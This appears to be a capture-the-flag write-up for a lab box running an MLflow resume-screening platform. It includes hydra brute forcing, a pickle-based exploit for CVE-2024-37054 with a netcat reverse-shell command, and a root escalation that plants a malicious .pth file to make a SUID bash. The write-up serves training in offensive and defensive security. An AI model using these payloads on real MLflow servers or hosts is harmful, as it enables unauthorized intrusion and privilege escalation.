SmartHire
Overview
SmartHire is a Medium Linux box built around an AI resume-screening platform. The public site hides
an internal models.smarthire.htb vhost running MLflow, protected only by weak HTTP Basic
Auth creds found via brute force. MLflow 2.14.1 is vulnerable to CVE-2024-37054, letting an
attacker register a malicious model that executes code on load — the initial foothold as
svcweb. Privilege escalation abuses a sudo-able Python management script that imports
plugins from a group-writable directory using site.addsitedir(), which happily executes
any .pth file dropped there — including one that runs arbitrary shell commands as root.

Reconnaissance
Full port scan first:
nmap -sCV -p- -T4 <IP> -oN nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
Only SSH and a web server, and port 80 redirects to a vhost — add it to /etc/hosts:
echo "<IP> smarthire.htb" | sudo tee -a /etc/hosts
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | no creds yet — park it |
| 80 | HTTP | nginx, redirects to smarthire.htb |
Web enumeration

The site is "SmartHIRE" — an AI evaluation/resume-screening product with About, Products,
Testimonials and a login area. So i make a new account and it takes me to a dashboard where you can submit a resume that contains a list of skills to train a model with and evaluate other resumes using that model
Nothing obviously exploitable for the moment , so I fuzzed for
other vhosts:
ffuf -u http://smarthire.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-H "Host: FUZZ.smarthire.htb" -fs 178
models [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 116ms]
models.smarthire.htb returns 401 and prompts for HTTP Basic Auth — an internal service
exposed on the same host.

Foothold
Cracking the internal service
one we visit `models.smarthire.htb' we get greeted with a basic Auth

Basic Auth on an internal-looking hostname is worth a quick brute force before anything
fancier:
hydra -l admin -P /usr/share/wordlists/rockyou.txt models.smarthire.htb http-get /
[80][http-get] host: models.smarthire.htb login: admin password: password
1 of 1 target successfully completed, 1 valid password found

admin:password gets in. models.smarthire.htb turns out to be an MLflow 2.14.1
tracking server — experiments, model registry, the works.
CVE-2024-37054 — MLflow malicious model RCE
MLflow's model loading (mlflow.pyfunc.load_model / artifact download flow) in this version
is vulnerable to CVE-2024-37054: a crafted model artifact can execute arbitrary code the
moment it's loaded, because MLflow trusts and runs code embedded in the model's custom
python_function flavor. Since I control the registry (thanks to the cracked creds), I can
register a malicious model and wait for it — or trigger it myself — to be loaded.
found this public PoC for this vulnerability PoC but it needs to modified to make it work for our machine first thing i did was to downgrade the python version to 3.10 to be able to use the 2.14.1 mlflow version
──(venv310)─(kali㉿kali)-[~/HTB/SmartHire/test/poc]
└─$ uv venv --python 3.10 venv310
source venv310/bin/activate
uv pip install mlflow==2.14.1
we first added the credentials so our code can interact with the website and add the website URI and most importantly the model name that we have on the website
first we edit the log_malicious_model.py file
import os
os.environ["MLFLOW_TRACKING_USERNAME"] = "admin"
os.environ["MLFLOW_TRACKING_PASSWORD"] = "password"
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://models.smarthire.htb"
REGISTERED_MODEL_NAME = "test-a1e75d1f59aa-model"
class CommandRunner:
def __reduce__(self):
# This is the payload.
# It returns the function to run (os.system) and its arguments.
# The command will print a message and create a file named 'pwned.txt'.
cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP> 443 >/tmp/f'
return (os.system, (cmd,))
and now we edit the load_vulnerable_model.py file we must enter a new version number so when it gets added to the http://smarthire.htb website we can trigger the malicious model
# --- Auth (must be set before any mlflow.* calls) ---
os.environ["MLFLOW_TRACKING_USERNAME"] = "admin"
os.environ["MLFLOW_TRACKING_PASSWORD"] = "password"
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://models.smarthire.htb"
REGISTERED_MODEL_NAME = "test-a1e75d1f59aa-model"
MODEL_VERSION = 4
$ python log_malicious_model.py
[*] Connecting to MLflow server at http://models.smarthire.htb
[*] Crafting malicious model 'test-a1e75d1f59aa-model'...
Created version '2' of model 'test-a1e75d1f59aa-model'.
[*] Malicious model has been logged to the server.
[*] Run ID: 541c75aeaaf344e2af06bea0bcb5286c
[*] Victim can now load 'test-a1e75d1f59aa-model' version .
once the model gets loaded we can see that there s the new version loaded in the website and it s waiting for us to trigger it by analyzing a resume

With a listener up and the model triggered/loaded server-side, the payload fires:

Shell as svcweb, user flag captured.

Privilege escalation
Enumerating sudo rights
svcweb@smarthire:~$ sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
svcweb can run an internal "MLflow operational" script as root, no password needed.
Reading the script
$ cat /opt/tools/mlflow_ctl/mlflowctl.py
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def print_usage():
print("Usage: mlflowctl.py [status|backup-models|restart]")
sys.exit(1)
def main():
import mlflow_actions, backup_models
if len(sys.argv) < 2:
print_usage()
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
print("[*] Running backup via backup_models plugin...")
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
else:
print(f"[!] Unknown action: {action}")
print_usage()
if __name__ == "__main__": main()
The key line is site.addsitedir(str(path)) for every subdirectory under plugins/ —
not just a hardcoded trusted one. site.addsitedir() doesn't just add a path to
sys.path; it also processes any .pth files it finds there, and a .pth line starting
with import is executed as Python code at import time.
Abusing a writable plugin directory

svcweb is a member of devs, and plugins/dev is group-writable by devs. That directory
gets fed straight into site.addsitedir() by the root-run script so anything I drop there
runs as root the next time mlflowctl.py executes.

Drop a malicious .pth file:
cat > x.pth << 'EOF'
import os,sys;os.system("cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash")
EOF
The .pth file executes as root during the site.addsitedir() call, dropping a SUID bash
We trigger it via the sudo rule:

and we got the root shell !

Takeaways
site.addsitedir()isn't a passive "add to path" call — it parses.pthfiles, and a
.pthline starting withimportis arbitrary code execution. Never point it at a
directory that isn't fully trusted, group-writable or not.- Vhost fuzzing on the main domain is worth doing even when the front-end app looks
unremarkable — internal tooling (MLflow, admin panels, dashboards) often sits one
hostname away with much weaker auth. - CVE-2024-37054 is a good reminder that ML tooling (MLflow, and similar model
registries/servers) frequently blurs the line between "data" and "code" — loading a model
can mean executing it
see you in aother one <3
